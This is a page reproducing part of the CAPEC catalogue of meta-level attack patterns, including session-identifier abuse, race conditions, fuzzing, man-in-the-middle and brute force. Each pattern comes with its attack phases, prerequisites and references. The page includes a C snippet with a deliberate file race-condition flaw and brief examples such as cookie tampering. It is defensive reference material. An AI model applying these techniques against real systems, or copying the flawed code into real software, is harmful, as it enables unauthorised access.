Dark Mode

Settings

Capec

This is a reproduciton of the CAPEC database, containing 615 entries, divided in Meta Attack Patterns: 77, Standard Attack Patterns: 197, Detailed Attack Patterns: 341.

Attack Patterns Table

Enter one or multiple IDs.
Please select a valid tag.
Capec ID Name Abstraction Description Extended Description Created External References Modified Spec Version Alternate Terms Consequences Domains Example Instances Execution Flow Likelihood Of Attack Peer Of Refs Prerequisites Resources Required Skills Required Status Typical Severity Version Capec Children ID Capec Parents ID
Exploitation of Trusted Identifiers Meta An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service. Attacks leveraging trusted identifiers typically result in the adversary laterally moving within the local network, since users are often allowed to authenticate to systems/applications within the network using the same identifier. This allows the adversary to obtain sensitive data, download/install malware on the system, pose as a legitimate user for social engineering purposes, and more. Attacks on trusted identifiers take advantage of the fact that some software accepts user input without verifying its authenticity. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes "trust" other systems because they are behind a firewall. Similarly, servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Identifiers may be guessed or obtained due to insufficient randomness, poor protection (passed/stored in the clear), lack of integrity (unsigned), or improper correlation with access control policy enforcement points. Exposed configuration and properties files that contain sensitive data may additionally provide an adversary with the information needed to obtain these identifiers. An adversary may also "ride" an identifier via a malicious link, as is the case in Cross Site Request Forgery (CSRF) attacks. Regardless of the attack vector, successful spoofing and impersonation of trusted credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application. 2014-06-23 02:00:00 Capec: CAPEC-21
Cwe: CWE-290
Cwe: CWE-302
Cwe: CWE-346
Cwe: CWE-539
Cwe: CWE-6
Cwe: CWE-384
Cwe: CWE-664
Cwe: CWE-602
Cwe: CWE-642
Attack: T1134
Attack: T1528
Attack: T1539
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an adversary to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an adversary to exploit session IDs. A brute force attack involves an adversary repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an adversary can retry several hundred or thousand request with little to no issue on their side. The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The adversary can then use these variables and access the application.
  2. For example, in a message queuing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or the process that wrote the message to the queue is authentic and authorized to do so.

Explore

  1. Survey the application for Indicators of Susceptibility: Using a variety of methods, until one is found that applies to the target, the adversary probes for cookies, session tokens, or entry points that bypass identifiers altogether.
  2. Techniques
    Spider all available pages
    Attack known bad interfaces
    Search outward-facing configuration and properties files for identifiers.

Experiment

  1. Fetch samples: The adversary fetches many samples of identifiers. This may be through legitimate access (logging in, legitimate connections, etc.) or via systematic probing.
  2. Techniques
    An adversary makes many anonymous connections and records the session IDs assigned.
    An adversary makes authorized connections and records the session tokens or credentials issued.
    An adversary gains access to (legitimately or illegitimately) a nearby system (e.g., in the same operations network, DMZ, or local network) and makes a connection from it, attempting to gain the same privileges as a trusted system.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system or to laterally move within a system or application
  2. Spoofing: Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.
  3. Data Exfiltration: The adversary can obtain sensitive data contained within the system or application.
High
  • Server software must rely on weak identifier proof and/or verification schemes.
  • Identifiers must have long lifetimes and potential for reusability.
  • Server software must allow concurrent sessions to exist.
  • Ability to deploy software on network.
  • Ability to communicate synchronously or asynchronously with server.
Low: To achieve a direct connection with the weak or non-existent server session access control, and pose as an authorized user Stable High 3.9
Exploiting Trust in Client Meta An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack. 2014-06-23 02:00:00 Capec: CAPEC-22
Cwe: CWE-290
Cwe: CWE-287
Cwe: CWE-20
Cwe: CWE-200
Cwe: CWE-693
Reference_from_capec: REF-1
2019-09-30 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Read Data
Communications
Software
  1. Web applications may use JavaScript to perform client side validation, request encoding/formatting, and other security functions, which provides some usability benefits and eliminates some client-server round-tripping. However, the web server cannot assume that the requests it receives have been subject to those validations, because an attacker can use an alternate method for crafting the HTTP Request and submit data that contains poisoned values designed to spoof a user and/or get the web server to disclose information.
  2. Web 2.0 style applications may be particularly vulnerable because they in large part rely on existing infrastructure which provides scalability without the ability to govern the clients. Attackers identify vulnerabilities that either assume the client side is responsible for some security services (without the requisite ability to ensure enforcement of these checks) and/or the lack of a hardened, default deny server configuration that allows for an attacker probing for weaknesses in unexpected ways. Client side validation, request formatting and other services may be performed, but these are strictly usability enhancements not security enhancements.
  3. Many web applications use client side scripting like JavaScript to enforce authentication, authorization, session state and other variables, but at the end of day they all make requests to the server. These client side checks may provide usability and performance gains, but they lack integrity in terms of the http request. It is possible for an attacker to post variables directly to the server without using any of the client script security checks and customize the patterns to impersonate other users or probe for more information.
  4. Many message oriented middleware systems like MQ Series are rely on information that is passed along with the message request for making authorization decisions, for example what group or role the request should be passed. However, if the message server does not or cannot authenticate the authorization information in the request then the server's policy decisions about authorization are trivial to subvert because the client process can simply elevate privilege by passing in elevated group or role information which the message server accepts and acts on.
None High
  • Server software must rely on client side formatted and validated values, and not reinforce these checks on the server side.
  • Ability to communicate synchronously or asynchronously with server
Medium: The attacker must have fairly detailed knowledge of the syntax and semantics of client/server communications protocols and grammars Draft High 3.9
Forced Deadlock Meta The adversary triggers and exploits a deadlock condition in the target software to cause a denial of service. A deadlock can occur when two or more competing actions are waiting for each other to finish, and thus neither ever does. Deadlock conditions can be difficult to detect. 2014-06-23 02:00:00 Capec: CAPEC-25
Cwe: CWE-412
Cwe: CWE-567
Cwe: CWE-662
Cwe: CWE-667
Cwe: CWE-833
Cwe: CWE-1322
Attack: T1499.004
Reference_from_capec: REF-1
Reference_from_capec: REF-101
Reference_from_capec: REF-609
2022-09-29 02:00:00 2.1 Availability:
  • Resource Consumption (A successful forced deadlock attack compromises the availability of the system by exhausting its available resources.)
Software
  1. An example of a deadlock which may occur in database products is the following. Client applications using the database may require exclusive access to a table, and in order to gain exclusive access they ask for a lock. If one client application holds a lock on a table and attempts to obtain the lock on a second table that is already held by a second client application, this may lead to deadlock if the second application then attempts to obtain the lock that is held by the first application (Source: Wikipedia, http://en.wikipedia.org/wiki/Deadlock)

Explore

  1. The adversary initiates an exploratory phase to get familiar with the system.
  2. The adversary triggers a first action (such as holding a resource) and initiates a second action which will wait for the first one to finish.
  3. If the target program has a deadlock condition, the program waits indefinitely resulting in a denial of service.
Low
  • The target host has a deadlock condition. There are four conditions for a deadlock to occur, known as the Coffman conditions. [REF-101]
  • The target host exposes an API to the user.
Medium: This type of attack may be sophisticated and require knowledge about the system's resources and APIs. Stable High 3.9
Leveraging Race Conditions Meta The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file. 2014-06-23 02:00:00 Capec: CAPEC-26
Cwe: CWE-368
Cwe: CWE-363
Cwe: CWE-366
Cwe: CWE-370
Cwe: CWE-362
Cwe: CWE-662
Cwe: CWE-689
Cwe: CWE-667
Cwe: CWE-665
Cwe: CWE-1223
Cwe: CWE-1254
Cwe: CWE-1298
Reference_from_capec: REF-1
Reference_from_capec: REF-105
Reference_from_capec: REF-106
Reference_from_capec: REF-107
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
Hardware
  1. The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client. See also: CVE-2007-1057
  2. The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name (see [REF-107]). include include include define FILE "/tmp/myfile"define UID 100 void test(char str){int fd;fd = creat(FILE, 0644);if(fd == -1)return; chown(FILE, UID, -1); / BAD /close(fd); } int main(int argc, char argv){char userstr;if(argc > 1) {userstr = argv[1];test(userstr); }return 0; }

Explore

  1. The adversary explores to gauge what level of access they have.

Experiment

  1. The adversary gains access to a resource on the target host. The adversary modifies the targeted resource. The resource's value is used to determine the next normal execution action.

Exploit

  1. The resource is modified/checked concurrently by multiple processes. By using one of the processes, the adversary is able to modify the value just before it is consumed by a different process. A race condition occurs and is exploited by the adversary to abuse the target host.
High
  • A resource is accessed/modified concurrently by multiple processes such that a race condition exists.
  • The adversary has the ability to modify the resource.
Medium: Being able to "run the race" requires basic knowledge of concurrent processing including synchonization techniques. Stable High 3.9
29
Fuzzing Meta In this attack pattern, the adversary leverages fuzzing to try to identify weaknesses in the system. Fuzzing is a software security and functionality testing method that feeds randomly constructed input to the system and looks for an indication that a failure in response to that input has occurred. Fuzzing treats the system as a black box and is totally free from any preconceptions or assumptions about the system. Fuzzing can help an attacker discover certain assumptions made about user input in the system. Fuzzing gives an attacker a quick way of potentially uncovering some of these assumptions despite not necessarily knowing anything about the internals of the system. These assumptions can then be turned against the system by specially crafting user input that may allow an attacker to achieve their goals. 2014-06-23 02:00:00 Capec: CAPEC-28
Cwe: CWE-74
Cwe: CWE-20
2021-06-24 02:00:00 2.1 Integrity:
  • Modify Data
  • Alter Execution Logic
Availability:
  • Unreliable Execution
  • Alter Execution Logic
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
  • Alter Execution Logic
Software
  1. A fuzz test reveals that when data length for a particular field exceeds certain length, the input validation filter fails and lets the user data in unfiltered. This provides an attacker with an injection vector to deliver the malicious payload into the system.

Explore

  1. Observe communication and inputs: The fuzzing attacker observes the target system looking for inputs and communications between modules, subsystems, or systems.
  2. Techniques
    Network sniffing. Using a network sniffer such as wireshark, the attacker observes communications into and out of the target system.
    Monitor API execution. Using a tool such as ktrace, strace, APISpy, or another debugging tool, the attacker observes the system calls and API calls that are made by the target system, and the nature of their parameters.
    Observe inputs using web inspection tools (OWASP's WebScarab, Paros, TamperData, TamperIE, etc.)

Experiment

  1. Generate fuzzed inputs: Given a fuzzing tool, a target input or protocol, and limits on time, complexity, and input variety, generate a list of inputs to try. Although fuzzing is random, it is not exhaustive. Parameters like length, composition, and how many variations to try are important to get the most cost-effective impact from the fuzzer.
  2. Techniques
    Boundary cases. Generate fuzz inputs that attack boundary cases of protocol fields, inputs, or other communications limits. Examples include 0xff and 0x00 for single-byte inputs. In binary situations, approach each bit of an individual field with on and off (e.g., 0x80).
    Attempt arguments to system calls or APIs. The variations include payloads that, if they were successful, could lead to a compromise on the system.
  3. Observe the outcome: Observe the outputs to the inputs fed into the system by fuzzers and see if anything interesting happens. If failure occurs, determine why that happened. Figure out the underlying assumption that was invalidated by the input.

Exploit

  1. Craft exploit payloads: Put specially crafted input into the system that leverages the weakness identified through fuzzing and allows to achieve the goals of the attacker. Fuzzers often reveal ways to slip through the input validation filters and introduce unwanted data into the system.
  2. Techniques
    Identify and embed shell code for the target system.
    Embed higher level attack commands in the payload. (e.g., SQL, PHP, server-side includes, etc.)
    Induce denial of service by exploiting resource leaks or bad error handling.
High
  • Fuzzing tools.
Low: There is a wide variety of fuzzing tools available. Draft Medium 3.9
215
Manipulating State Meta The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner. State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits. If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data. 2014-06-23 02:00:00 Capec: CAPEC-74
Cwe: CWE-372
Cwe: CWE-315
Cwe: CWE-353
Cwe: CWE-693
Cwe: CWE-1245
Cwe: CWE-1253
Cwe: CWE-1265
Cwe: CWE-1271
2021-06-24 02:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Unreliable Execution
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
Hardware
  1. During the authentication process, an application stores the authentication decision (auth=0/1) in unencrypted cookies. At every request, this cookie is checked to permit or deny a request. An adversary can easily violate this representation of user state and set auth=1 at every request in order to gain illegitimate access and elevated privilege in the application.

Explore

  1. Adversary determines the nature of state management employed by the target. This includes determining the location (client-side, server-side or both applications) and possibly the items stored as part of user state.

Experiment

  1. The adversary now tries to modify the user state contents (possibly indiscriminately if the contents are encrypted or otherwise obfuscated) or cause a state transition and observe the effects of this change on the target.

Exploit

  1. Having determined how to manipulate the state, the adversary can perform illegitimate actions.
Medium
  • User state is maintained at least in some way in user-controllable locations, such as cookies or URL parameters.
  • There is a faulty finite state machine in the hardware logic that can be exploited.
  • The adversary needs a data tampering tool capable of generating and creating custom inputs to aid in the attack, like Fiddler, Wireshark, or a similar in- browser plugin (e.g., Tamper Data for Firefox).
Medium: The adversary needs to have knowledge of state management as employed by the target application, and also the ability to manipulate the state in a meaningful way. Stable High 3.9
Adversary in the Middle (AiTM) Meta An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first flows through the adversary, who has the opportunity to observe or alter it, before being passed on to the intended recipient as if it was never observed. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for these attacks yields an implicit lack of trust in communication or identify between two components. These attacks differ from Sniffing Attacks (CAPEC-157) since these attacks often modify the communications prior to delivering it to the intended recipient. 2014-06-23 02:00:00 Capec: CAPEC-94
Cwe: CWE-300
Cwe: CWE-290
Cwe: CWE-593
Cwe: CWE-287
Cwe: CWE-294
Attack: T1557
Owasp Attacks: Man-in-the-middle attack
Reference_from_capec: REF-553
Reference_from_capec: REF-633
Reference_from_capec: REF-634
Reference_from_capec: REF-635
Reference_from_capec: REF-636
2022-09-29 02:00:00 2.1
  • Man-in-the-Middle / MITM
  • Person-in-the-Middle / PiTM
  • Monkey-in-the-Middle
  • Monster-in-the-Middle
  • On-path Attacker
Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Communications
Software
  1. In 2017, security researcher Jerry Decime discovered that Equifax mobile applications were not leveraging HTTPS in all areas. Although authentication was properly utilizing HTTPS, in addition to validating the root of trust of the server certificate, other areas of the application were using HTTP to communicate. Adversaries could then conduct MITM attacks on rogue WiFi or cellular networks and hijack the UX. This further allowed the adversaries to prompt users for sensitive data, which could then be obtained in the plaintext response. [REF-636]

Explore

  1. Determine Communication Mechanism: The adversary determines the nature and mechanism of communication between two components, looking for opportunities to exploit.
  2. Techniques
    Perform a sniffing attack and observe communication to determine a communication protocol.
    Look for application documentation that might describe a communication mechanism used by a target.

Experiment

  1. Position In Between Targets: The adversary inserts themself into the communication channel initially acting as a routing proxy between the two targeted components.
  2. Techniques
    Install spyware on a client that will intercept outgoing packets and route them to their destination as well as route incoming packets back to the client.
    Exploit a weakness in an encrypted communication mechanism to gain access to traffic. Look for outdated mechanisms such as SSL.

Exploit

  1. Use Intercepted Data Maliciously: The adversary observes, filters, or alters passed data of its choosing to gain access to sensitive information or to manipulate the actions of the two target components for their own purposes.
  2. Techniques
    Prevent some messages from reaching their destination, causing a denial of service.
High
  • There are two components communicating with each other.
  • An attacker is able to identify the nature and mechanism of communication between the two target components.
  • An attacker can eavesdrop on the communication between the target components.
  • Strong mutual authentication is not used between the two target components yielding opportunity for attacker interposition.
  • The communication occurs in clear (not encrypted) or with insufficient and spoofable encryption.
Medium: This attack can get sophisticated since the attack may use cryptography. Stable Very High 3.9
Brute Force Meta In this attack, some asset (information, functionality, identity, etc.) is protected by a finite secret value. The attacker attempts to gain access to this asset by using trial-and-error to exhaustively explore all the possible secret values in the hope of finding the secret (or a value that is functionally equivalent) that will unlock the asset. Examples of secrets can include, but are not limited to, passwords, encryption keys, database lookup keys, and initial values to one-way functions. The key factor in this attack is the attackers' ability to explore the possible secret space rapidly. This, in turn, is a function of the size of the secret space and the computational power the attacker is able to bring to bear on the problem. If the attacker has modest resources and the secret space is large, the challenge facing the attacker is intractable. Assuming a finite secret space, a brute force attack will eventually succeed. The defender must rely on making sure that the time and resources necessary to do so will exceed the value of the information. 2014-06-23 02:00:00 Capec: CAPEC-112
Cwe: CWE-330
Cwe: CWE-326
Cwe: CWE-521
Attack: T1110
Wasc: 11
Owasp Attacks: Brute force attack
2022-09-29 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
Software

Explore

  1. Determine secret testing procedure: Determine how a potential guess of the secret may be tested. This may be accomplished by comparing some manipulation of the secret to a known value, use of the secret to manipulate some known set of data and determining if the result displays specific characteristics (for example, turning cryptotext into plaintext), or by submitting the secret to some external authority and having the external authority respond as to whether the value was the correct secret. Ideally, the attacker will want to determine the correctness of their guess independently since involvement of an external authority is usually slower and can provide an indication to the defender that a brute-force attack is being attempted.
  2. Techniques
    Determine if there is a way to parallelize the attack. Most brute force attacks can take advantage of parallel techniques by dividing the search space among available resources, thus dividing the average time to success by the number of resources available. If there is a single choke point, such as a need to check answers with an external authority, the attackers' position is significantly degraded.
  3. Reduce search space: Find ways to reduce the secret space. The smaller the attacker can make the space they need to search for the secret value, the greater their chances for success. There are a great many ways in which the search space may be reduced.
  4. Techniques
    If possible, determine how the secret was selected. If the secret was determined algorithmically (such as by a random number generator) the algorithm may have patterns or dependencies that reduce the size of the secret space. If the secret was created by a human, behavioral factors may, if not completely reduce the space, make some types of secrets more likely than others. (For example, humans may use the same secrets in multiple places or use secrets that look or sound familiar for ease of recall.)
    If the secret was chosen algorithmically, cryptanalysis can be applied to the algorithm to discover patterns in this algorithm. (This is true even if the secret is not used in cryptography.) Periodicity, the need for seed values, or weaknesses in the generator all can result in a significantly smaller secret space.
    If the secret was chosen by a person, social engineering and simple espionage can indicate patterns in their secret selection. If old secrets can be learned (and a target may feel they have little need to protect a secret that has been replaced) hints as to their selection preferences can be gleaned. These can include character substitutions a target employs, patterns in sources (dates, famous phrases, music lyrics, family members, etc.). Once these patterns have been determined, the initial efforts of a brute-force attack can focus on these areas.
    Some algorithmic techniques for secret selection may leave indicators that can be tested for relatively easily and which could then be used to eliminate large areas of the search space for consideration. For example, it may be possible to determine that a secret does or does not start with a given character after a relatively small number of tests. Alternatively, it might be possible to discover the length of the secret relatively easily. These discoveries would significantly reduce the search space, thus increasing speed with which the attacker discovers the secret.
  5. Expand victory conditions: It is sometimes possible to expand victory conditions. For example, the attacker might not need to know the exact secret but simply needs a value that produces the same result using a one-way function. While doing this does not reduce the size of the search space, the presence of multiple victory conditions does reduce the likely amount of time that the attacker will need to explore the space before finding a workable value.

Exploit

  1. Gather information so attack can be performed independently.: If possible, gather the necessary information so a successful search can be determined without consultation of an external authority. This can be accomplished by capturing cryptotext (if the goal is decoding the text) or the encrypted password dictionary (if the goal is learning passwords).
None
  • The attacker must be able to determine when they have successfully guessed the secret. As such, one-time pads are immune to this type of attack since there is no way to determine when a guess is correct.
  • None: No specialized resources are required to execute this type of attack. Ultimately, the speed with which an attacker discovers a secret is directly proportional to the computational resources the attacker has at their disposal. This attack method is resource expensive: having large amounts of computational power do not guarantee timely success, but having only minimal resources makes the problem intractable against all but the weakest secret selection procedures.
Low: The attack simply requires basic scripting ability to automate the exploration of the search space. More sophisticated attackers may be able to use more advanced methods to reduce the search space and increase the speed with which the secret is located. Draft High 3.9
20 49
Interface Manipulation Meta An adversary manipulates the use or processing of an interface (e.g. Application Programming Interface (API) or System-on-Chip (SoC)) resulting in an adverse impact upon the security of the system implementing the interface. This can allow the adversary to bypass access control and/or execute functionality not intended by the interface implementation, possibly compromising the system which integrates the interface. Interface manipulation can take on a number of forms including forcing the unexpected use of an interface or the use of an interface in an unintended way. 2014-06-23 02:00:00 Capec: CAPEC-113
Cwe: CWE-1192
2021-06-24 02:00:00 2.1 Software
Hardware
  1. An adversary may make a request to an application that leverages a non- standard API that is known to incorrectly validate its data and thus it may be manipulated by supplying metacharacters or alternate encodings as input, resulting in any number of injection flaws, including SQL injection, cross- site scripting, or command execution.
  2. API methods not intended for production, such as debugging or testing APIs, may not be disabled when deploying in a production environment. As a result, dangerous functionality can be exposed within the production environment, which an adversary can leverage to execute additional attacks.
  3. SoC components contain insufficient identifiers, which allows an adversary to reset the device at will or read sensitive data from the device.
None Medium
  • The target system must expose interface functionality in a manner that can be discovered and manipulated by an adversary. This may require reverse engineering the interface or decrypting/de-obfuscating client-server exchanges.
  • The requirements vary depending upon the nature of the interface. For example, application-layer APIs related to the processing of the HTTP protocol may require one or more of the following: an Adversary-In-The-Middle (CAPEC-94) proxy, a web browser, or a programming/scripting language.
Draft Medium 3.9
Authentication Abuse Meta An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the "Exploitation of Session Variables, Resource IDs and other Trusted Credentials" attack patterns. 2014-06-23 02:00:00 Capec: CAPEC-114
Cwe: CWE-287
Cwe: CWE-1244
Attack: T1548
2022-02-22 01:00:00 2.1 Software
Hardware
None None
  • An authentication mechanism or subsystem implementing some form of authentication such as passwords, digest authentication, security certificates, etc. which is flawed in some way.
  • A client application, command-line access to a binary, or scripting language capable of interacting with the authentication mechanism.
Draft Medium 3.9
90
Authentication Bypass Meta An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place. This refers to an attacker gaining access equivalent to an authenticated user without ever going through an authentication procedure. This is usually the result of the attacker using an unexpected access procedure that does not go through the proper checkpoints where authentication should occur. For example, a web site might assume that all users will click through a given link in order to get to secure material and simply authenticate everyone that clicks the link. However, an attacker might be able to reach secured web content by explicitly entering the path to the content rather than clicking through the authentication link, thereby avoiding the check entirely. This attack pattern differs from other authentication attacks in that attacks of this pattern avoid authentication entirely, rather than faking authentication by exploiting flaws or by stealing credentials from legitimate users. 2014-06-23 02:00:00 Capec: CAPEC-115
Cwe: CWE-287
Attack: T1548
Reference_from_capec: REF-598
2022-02-22 01:00:00 2.1 Software
None None
  • An authentication mechanism or subsystem implementing some form of authentication such as passwords, digest authentication, security certificates, etc.
  • A client application, such as a web browser, or a scripting language capable of interacting with the target.
Draft Medium 3.9
Excavation Meta An adversary actively probes the target in a manner that is designed to solicit information that could be leveraged for malicious purposes. This is achieved by exploring the target via ordinary interactions for the purpose of gathering intelligence about the target, or by sending data that is syntactically invalid or non-standard in an attempt to produce a response that contains the desired data. As a result of these interactions, the adversary is able to obtain information from the target that aids the attacker in making inferences about its security, configuration, or potential vulnerabilities. Examplar exchanges with the target may trigger unhandled exceptions or verbose error messages that reveal information like stack traces, configuration information, path information, or database design. This type of attack also includes the manipulation of query strings in a URI to produce invalid SQL queries, or by trying alternative path values in the hope that the server will return useful information. 2014-06-23 02:00:00 Capec: CAPEC-116
Cwe: CWE-200
Cwe: CWE-1243
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data
Supply Chain
Software
Physical Security
Hardware
None High
  • An adversary requires some way of interacting with the system.
  • A tool, such as an Adversary in the Middle (CAPEC-94) Proxy or a fuzzer, that is capable of generating and injecting custom inputs to be used in the attack.
Stable Medium 3.9
Interception Meta An adversary monitors data streams to or from the target for information gathering purposes. This attack may be undertaken to solely gather sensitive information or to support a further attack against the target. This attack pattern can involve sniffing network traffic as well as other types of data streams (e.g. radio). The adversary can attempt to initiate the establishment of a data stream or passively observe the communications as they unfold. In all variants of this attack, the adversary is not the intended recipient of the data stream. In contrast to other means of gathering information (e.g., targeting data leaks), the adversary must actively position themself so as to observe explicit data channels (e.g. network traffic) and read the content. However, this attack differs from a Adversary-In-the-Middle (CAPEC-94) attack, as the adversary does not alter the content of the communications nor forward data to the intended recipient. 2014-06-23 02:00:00 Capec: CAPEC-117
Cwe: CWE-319
2021-06-24 02:00:00 2.1 Confidentiality:
  • Read Data
Communications
Software
Physical Security
None Low
  • The target must transmit data over a medium that is accessible to the adversary.
  • The adversary must have the necessary technology to intercept information passing between the nodes of a network. For TCP/IP, the capability to run tcpdump, ethereal, etc. can be useful. Depending upon the data being targeted the technological requirements will change.
Stable Medium 3.9
Privilege Abuse Meta An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non- privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources. If access control mechanisms are absent or misconfigured, a user may be able to access resources that are intended only for higher level users. An adversary may be able to exploit this to utilize a less trusted account to gain information and perform activities reserved for more trusted accounts. This attack differs from privilege escalation and other privilege stealing attacks in that the adversary never actually escalates their privileges but instead is able to use a lesser degree of privilege to access resources that should be (but are not) reserved for higher privilege accounts. Likewise, the adversary does not exploit trust or subvert systems - all control functionality is working as configured but the configuration does not adequately protect sensitive resources at an appropriate level. 2014-06-23 02:00:00 Capec: CAPEC-122
Cwe: CWE-269
Cwe: CWE-732
Cwe: CWE-1317
Attack: T1548
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
Software
Hardware
  1. Improperly configured account privileges allowed unauthorized users on a hospital's network to access the medical records for over 3,000 patients. Thus compromising data integrity and confidentiality in addition to HIPAA violations.
None High
  • The target must have misconfigured their access control mechanisms such that sensitive information, which should only be accessible to more trusted users, remains accessible to less trusted users.
  • The adversary must have access to the target, albeit with an account that is less privileged than would be appropriate for the targeted resources.
  • None: No specialized resources are required to execute this type of attack. The ability to access the target is required.
Low: Adversary can leverage privileged features they already have access to without additional effort or skill. Adversary is only required to have access to an account with improper priveleges. Draft Medium 3.9
Buffer Manipulation Meta An adversary manipulates an application's interaction with a buffer in an attempt to read or modify data they shouldn't have access to. Buffer attacks are distinguished in that it is the buffer space itself that is the target of the attack rather than any code responsible for interpreting the content of the buffer. In virtually all buffer attacks the content that is placed in the buffer is immaterial. Instead, most buffer attacks involve retrieving or providing more input than can be stored in the allocated buffer, resulting in the reading or overwriting of other unintended program memory. 2014-06-23 02:00:00 Capec: CAPEC-123
Cwe: CWE-119
2019-04-04 02:00:00 2.1 Availability:
  • Unreliable Execution (A buffer manipulation attack often results in a crash of the application due to the corruption of memory.)
Confidentiality:
  • Execute Unauthorized Commands (If constructed properly, a buffer manipulation attack can be used to contol the execution of the application leading to any number of negative consequenses.)
  • Modify Data (If constructed properly, a buffer manipulation attack can be used to contol the execution of the application leading to any number of negative consequenses.)
  • Read Data (If constructed properly, a buffer manipulation attack can be used to contol the execution of the application leading to any number of negative consequenses.)
Software
None High
  • The adversary must identify a programmatic means for interacting with a buffer, such as vulnerable C code, and be able to provide input to this interaction.
Draft Very High 3.9
Shared Resource Manipulation Meta An adversary exploits a resource shared between multiple applications, an application pool or hardware pin multiplexing to affect behavior. Resources may be shared between multiple applications or between multiple threads of a single application. Resource sharing is usually accomplished through mutual access to a single memory location or multiplexed hardware pins. If an adversary can manipulate this shared resource (usually by co-opting one of the applications or threads) the other applications or threads using the shared resource will often continue to trust the validity of the compromised shared resource and use it in their calculations. This can result in invalid trust assumptions, corruption of additional data through the normal operations of the other users of the shared resource, or even cause a crash or compromise of the sharing applications. 2014-06-23 02:00:00 Capec: CAPEC-124
Cwe: CWE-1189
Cwe: CWE-1331
2020-12-17 01:00:00 2.1 Software
Hardware
None None
  • The target applications, threads or functions must share resources between themselves.
  • The adversary must be able to manipulate some piece of the shared resource either directly or indirectly and the other users of the data must accept the changed data as valid. Usually this requires that the adversary be able to compromise one of the sharing applications or threads in order to manipulate the shared data.
  • None: The attacker does not need any specialized resources to execute this type of attack.
Draft Medium 3.9
